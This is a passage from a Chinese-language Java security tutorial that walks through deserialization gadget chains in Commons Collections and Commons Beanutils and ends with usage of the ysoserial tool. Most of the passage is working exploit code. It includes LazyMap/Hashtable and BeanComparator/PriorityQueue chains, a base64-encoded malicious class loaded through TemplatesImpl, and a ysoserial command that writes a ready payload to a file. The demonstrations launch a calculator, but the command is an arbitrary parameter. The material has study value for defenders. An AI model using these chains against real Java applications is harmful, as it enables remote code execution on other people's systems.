hashMap2.put("hacker", null);

// 准备两个 LazyMap
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer); // 创建一个 lazyMap 对象
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer); // 创建一个 lazyMap 对象

lazyMap1.equals(lazyMap2); // 进行比较

运行即可弹出计算器.

Hashtable::readObject 入口方法 - 调用 equals

Hashtable::readObject方法中存在两者通过equals比较的操作, 我们看一下关键代码:

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException{
    // ... 其他代码
    for (; elements > 0; elements--) {
        K key = (K)s.readObject();
        V value = (V)s.readObject();
        reconstitutionPut(table, key, value); // 调用到该方法
    }
}

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
    if (value == null) { // value 不可以为 null
        throw new java.io.StreamCorruptedException();
    }
    int hash = key.hashCode(); // 对 key 进行 hashCode 计算
    int index = (hash & 0x7FFFFFFF) % tab.length; // 两者 hashCode 相同的话 index 计算结果也相同
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { // 发现
        if ((e.hash == hash) && e.key.equals(key)) { // 如果两个 key 的 hash 相同, 那么就调用 key 的 equals 方法
            throw new java.io.StreamCorruptedException();
        }
    }
}

这里我们把key设置为我们的LazyMap, 然后因为LazyMap::hashCode的运算是根据HashMap[Key.hashCode ^ Value.hashCode]来计算的, 所以我们完全可以准备两个Value完全一样的LazyMap, 而Key我们可以通过字符串中的hash碰撞问题, 来使其两个反序列化时hashCode一样, 而进入了LazyMap::equals危险方法, 编写 POC 如下:

public static void main(String[] args) throws Exception {
    Transformer[] transformerChain = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                    new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                    new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",
                    new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
    // 准备两个 HashMap
    HashMap<Object, Object> hashMap1 = new HashMap<>();
    HashMap<Object, Object> hashMap2 = new HashMap<>();
    hashMap1.put("}~", null);
    hashMap2.put("heihu577", null); // 防止后面 put 时, 无法进入 addEntry 方法, 所以这里需要随机 put 一个字符串
    // 准备两个 LazyMap
    LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer);
    LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer);

    Hashtable<LazyMap, Object> evilTable = new Hashtable<>();
    evilTable.put(lazyMap1, 1);
    evilTable.put(lazyMap2, 1); // put 完毕后, 没有进入 addEntry, 因为 "heihu577".hashCode() != "}~".hashCode()

    hashMap2.remove("heihu577"); // put 完毕了, 程序不报错, heihu577 没有用了, 移除掉
    hashMap2.put("~_", null); // 塞入与 }~ 字符串 hashCode 相同的值, 准备序列化

    serialize(evilTable);
    unserialize();
}

public static void serialize(Object o) throws IOException, IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    ois.readObject();
}

运行弹出计算器.

手动挖一个 CC 链

通过上述知识体系, 笔者在这随意挖出一条新的链路, 如下:

public static void main(String[] args) throws Exception {
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                    new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                    new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",
                    new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
    });
    HashMap<Object, Object> hsmap = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(hsmap, chainedTransformer);
    CompositeInvocationHandlerImpl compositeInvocationHandler = new CompositeInvocationHandlerImpl();
    Field classToInvocationHandler = compositeInvocationHandler.getClass().getDeclaredField("classToInvocationHandler");
    classToInvocationHandler.setAccessible(true);
    classToInvocationHandler.set(compositeInvocationHandler, lazyMap);
    Object o = Proxy.newProxyInstance(classToInvocationHandler.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), compositeInvocationHandler);
    BadAttributeValueExpException resultObj = new BadAttributeValueExpException(null);
    Field val = resultObj.getClass().getDeclaredField("val");
    val.setAccessible(true);
    val.set(resultObj, o);
    serialize(resultObj);
    unserialize();
}

public static void serialize(Object o) throws Exception {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("D:/heihu577.ser")));
    oos.writeObject(o);
}

public static void unserialize() throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:/heihu577.ser")));
    ois.readObject();
}

当然感兴趣的可以自己去调试.

CC链总结图

从网上沾来的一篇总结图, 很不错, 收藏用.

image-1732762950551.png

很多链路都是部分重复的, 只是有些地方略有区别.

Commons Beanutils

CommonsBeanutils 是应用于 JavaBean 的工具,它提供了对普通Java类对象(也称为 JavaBean)的一些操作方法

前置环境准备

俗称cb链, 我们首先准备pom.xml, 文件内容如下:

<dependencies>
    <dependency>
        <groupId>commons-beanutils</groupId>
        <artifactId>commons-beanutils</artifactId>
        <version>1.8.3</version>
    </dependency>
</dependencies>

下面来看一下CB的简单使用, 准备Main:

public class MainApp {
    public static void main(String[] args) throws Exception {
        Person person = new Person(); // 创建一个 Person 对象
        person.setName("hacker"); // 设置 Person 对象名称
        String name = (String) PropertyUtils.getProperty(person, "name"); // 得到名称, 等同于 person.getName()
        System.out.println(name);
    }
}
public class Person {
    private String name;

    public String getName() { // 准备 getter
        return name;
    }

    public void setName(String name) { // 准备 setter
        this.name = name;
    }
}

可以看到CB的使用还是很简单的, 下面来分析一下这个方法.

PropertyUtils.getProperty 调用链分析

image-1732762963914.png

PropertyUtils.getProperty(person, "name")执行链是这样的: 传入 name -> 找到getName方法 -> 通过反射调用 person 对象的getName方法.

所以当一个类存在getXxx方法时, 我们可以通过PropertyUtils.getProperty(对象,"xxx")进行调用对象.getXxx方法.

而我们Xalan ClassLoader利用中,TemplatesImpl::getOutputProperties方法是整个Xalan ClassLoader利用的起点, 而它刚好符合我们上述逻辑, 测试如下:

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
    Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
    Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
    name.setAccessible(true);
    tfactory.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] =
            new BASE64Decoder().decodeBuffer("恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
    bytecodes.set(templates, myBytes);
    name.set(templates, "");
    tfactory.set(templates, new TransformerFactoryImpl());
    // Transformer transformer = templates.newTransformer(); 现在不使用 newTransformer 进行调用了, 使用 getOutputProperties 进行调用
    // templates.getOutputProperties(); // 运行可弹计算器, 下面使用 CB 链触发
    PropertyUtils.getProperty(templates, "outputProperties"); // 同样可以弹出计算器
}

那么对于现在场景来说,PropertyUtils.getProperty(可控,可控)是危险的调用, 那么谁调用了PropertyUtils.getProperty, 并且参数可控?

BeanComparator::compare 链式调用

继续Alt+F7查看调用位置, 结果发现了BeanComparator::compare方法中调用了PropertyUtils.getProperty(可控,可控), 如图:

image-1732762976464.png

但是目前我们还不能调用该类, 该类依赖于CC链, 但该类的pom.xml文件中, 定义了<optional>true</optional>不传递依赖, 则意味着不会将CC引入到我们环境下, 如下:

image-1732762985031.png

那么我们构造 POC 时, 构造函数不能走到ComparableComparator.getInstance, 因为我们当前并没有CC环境, 所以我们只能通过传递一个Comparator从而进入BeanComparator(String,Comparator)的第一条if语句中, 这样就可以避开ComparableComparator类的加载.

构造如下POC:

TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
        new BASE64Decoder().decodeBuffer("恶意类字节码 BASE64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
    @Override
    public int compare(Object o1, Object o2) {
        return 0;
    }
}); // outputProperties 可控, 第二个参数传递一个 Comparator, 在当前阶段先随便传递一个实现该类的匿名类吧.
beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器

运行则弹出计算器.

PriorityQueue 链式调用

在我们之前研究CC链时, 发现一个调用compare方法的类:

image-1732762997463.png

而这个PriorityQueue.readObject方法调用xxx.compare(参数1,参数2)时, 是可控的, 所以在这里我们可以利用该类, 调用我们的BeanComparator::compare方法.

那么准备如下 POC:

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
    Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
    Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
    name.setAccessible(true);
    tfactory.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] =
            new BASE64Decoder().decodeBuffer("恶意类字节码的 BASE64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
    bytecodes.set(templates, myBytes);
    name.set(templates, "");
    tfactory.set(templates, new TransformerFactoryImpl());

    BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
        @Override
        public int compare(Object o1, Object o2) {
            return 0;
        }
    }); // outputProperties 可控, 第二个参数传递一个 Comparator, 在当前阶段先随便传递一个实现该类的匿名类吧.
    // beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
    PriorityQueue priorityQueue = new PriorityQueue(new Comparator() {
        @Override
        public int compare(Object o1, Object o2) {
            return 0;
        }
    }); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
    priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
    priorityQueue.add(templates);

    Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(priorityQueue, beanComparator);

    serialize(comparator);
    deserialize();
}

public static void serialize(Object object) throws Exception {
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    objectOutputStream.writeObject(object);
}

public static Object deserialize() throws Exception {
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    return objectInputStream.readObject();
}

但是运行时, 会爆出无法序列化的错误, 因为我们传入的new Comparator(){}这个匿名类, 是不支持序列化的.

由于我们当前的操作也是为了防止程序报错, 我们这里有两个解决方案:

  • 传入new Comparator(){}, 但是在序列化之前, 我们通过反射, 将comparator设置为null就行了, 因为 null 是支持序列化的.
  • 传入一个支持序列化的Comparator, 这个Comparator需要我们自己去找.
反射设置 BeanComparator.comparator 为 null && 修改 PriorityQueue.size 大小防止进入链路

最终 POC 如下:

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
    Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
    Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
    name.setAccessible(true);
    tfactory.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] =
            new BASE64Decoder().decodeBuffer("恶意类字节码的 BASE64"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
    bytecodes.set(templates, myBytes);
    name.set(templates, "");
    tfactory.set(templates, new TransformerFactoryImpl());

    Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
    Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
    comparatorClazzConstructor.setAccessible(true);
    Comparator o = (Comparator) comparatorClazzConstructor.newInstance();

    BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
        @Override
        public int compare(Object o1, Object o2) {
            return 0;
        }
    }); // outputProperties 可控, 第二个参数传递一个 Comparator.

    Field comparator = beanComparator.getClass().getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(beanComparator, null); // 由于 Comparator 不支持序列化, 所以在序列化时, 会报错, 所以我们在这里将其改为null, 为了支持序列化.

    // beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
    PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
    Field size = priorityQueue.getClass().getDeclaredField("size");
    size.setAccessible(true);

    priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
    size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
    priorityQueue.add(templates);
    size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路

    serialize(priorityQueue);
    deserialize();
}

public static void serialize(Object object) throws Exception {
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    objectOutputStream.writeObject(object);
}

public static Object deserialize() throws Exception {
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    return objectInputStream.readObject();
}
寻找可利用的 Comparator && 修改 size 大小防止进入链路

寻找可序列化的Comparator, 笔者在这里找到了LayoutComparator, 如图:

image-1732763017214.png

那么我们完全可以使用这个Comparator, 构造POC:

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
    Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
    Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
    name.setAccessible(true);
    tfactory.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] =
            new BASE64Decoder().decodeBuffer(
                    "yv66vgAAADQAZgoADwA0BwA1CgA2ADcKADgAOQoAOgA7CgA8AD0JAD4APwoAQABBCgBCAEMIAEQKAEIARQcARgcARwoADQBIBwBJAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNMY29tL2hlaWh1NTc3L2V2aWw7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACWphdmFDbGFzcwEANkxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEAAXMBABJMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zBwBKAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcASwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcARgEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMABAAEQEAEWNvbS9oZWlodTU3Ny9ldmlsBwBMDABNAE4HAE8MAFAAUwcAVAwAVQBWBwBXDABYAFkHAFoMAFsAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABAAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBADRjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAOZW5jb2RlVG9TdHJpbmcBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAIADwAAAAAABQABABAAEQABABIAAAAvAAEAAQAAAAUqtwABsQAAAAIAEwAAAAYAAQAAAA0AFAAAAAwAAQAAAAUAFQAWAAAACQAXABgAAgASAAAAYwACAAMAAAAZEgK4AANMuAAEK7YABbYABk2yAAcstgAIsQAAAAIAEwAAABIABAAAABcABgAYABEAGQAYABoAFAAAACAAAwAAABkAGQAaAAAABgATABsAHAABABEACAAdAB4AAgAfAAAABAABACAAAQAhACIAAgASAAAAPwAAAAMAAAABsQAAAAIAEwAAAAYAAQAAAB8AFAAAACAAAwAAAAEAFQAWAAAAAAABACMAJAABAAAAAQAlACYAAgAfAAAABAABACcAAQAhACgAAgASAAAASQAAAAQAAAABsQAAAAIAEwAAAAYAAQAAACQAFAAAACoABAAAAAEAFQAWAAAAAAABACMAJAABAAAAAQApACoAAgAAAAEAKwAsAAMAHwAAAAQAAQAnAAgALQARAAEAEgAAAGYAAwABAAAAF7gACRIKtgALV6cADUu7AA1ZKrcADr+xAAEAAAAJAAwADAADABMAAAAWAAUAAAAQAAkAEwAMABEADQASABYAFAAUAAAADAABAA0ACQAuAC8AAAAwAAAABwACTAcAMQkAAgAyAAAAAgAzAFIAAAAKAAEAPAA4AFEACQ=="); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
    bytecodes.set(templates, myBytes);
    name.set(templates, "");
    tfactory.set(templates, new TransformerFactoryImpl());

    Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
    Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
    comparatorClazzConstructor.setAccessible(true);
    Comparator o = (Comparator) comparatorClazzConstructor.newInstance();

    BeanComparator beanComparator = new BeanComparator("outputProperties", o); // outputProperties 可控, 第二个参数传递一个可序列化的 Comparator.

    // beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
    PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
    Field size = priorityQueue.getClass().getDeclaredField("size");
    size.setAccessible(true);

    priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
    size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
    priorityQueue.add(templates);
    size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路

    serialize(priorityQueue);
    deserialize();
}

public static void serialize(Object object) throws Exception {
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    objectOutputStream.writeObject(object);
}

public static Object deserialize() throws Exception {
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    return objectInputStream.readObject();
}

ysoserial 反序列化链路工具

工具链接: https://github.com/frohoff/ysoserial 该工具是一个成熟的反序列化链路工具, 该工具记载了市面上爆出的反序列化漏洞链路.

使用方法:

E:\Language\Java\jdk1.8\bin>.\java -jar "C:\Users\Administrator\Desktop\ysoserial-all.jar"
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
  Available payload types:
九月 25, 2024 9:42:40 下午 org.reflections.Reflections scan
信息: Reflections took 120 ms to scan 1 urls, producing 18 keys and 153 values
     Payload             Authors                                Dependencies
     -------             -------                                ------------
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                               commons-collections:3.1
     CommonsCollections2 @frohoff                               commons-collections4:4.0
     CommonsCollections3 @frohoff                               commons-collections:3.1
     CommonsCollections4 @frohoff                               commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                               groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser                       js:1.7R2
     MozillaRhino2       @_tint0                                js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                              rome:1.0
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

E:\Language\Java\jdk1.8\bin>.\java -jar "C:\Users\Administrator\Desktop\ysoserial-all.jar" CommonsCollections1 "calc" > D:/evil.bin

最终D盘会生成evil.bin, 内容则是已经弄好的序列化二进制文件. 当然因为serialVersionUID的原因, 有时ysoserial可能会打失败, 但是这些都无所谓, 工具好就好在将市面上常见的链路总结在一起了. 版本不符合自己调试一下链路, 手动生成一下EXP也是可以的.

Ending...

本次反序列化漏洞衔接上了另一篇《JAVA安全 | Classloader:理解与利用一篇就够了》中Xalan ClassLoader的妙用, 当然只有链路肯定是不行的, 后续在讲解触发点的时候, 笔者将带领大家从Shiro底层源码, 一步一步分析Shiro的漏洞, 敬请期待!

TCV: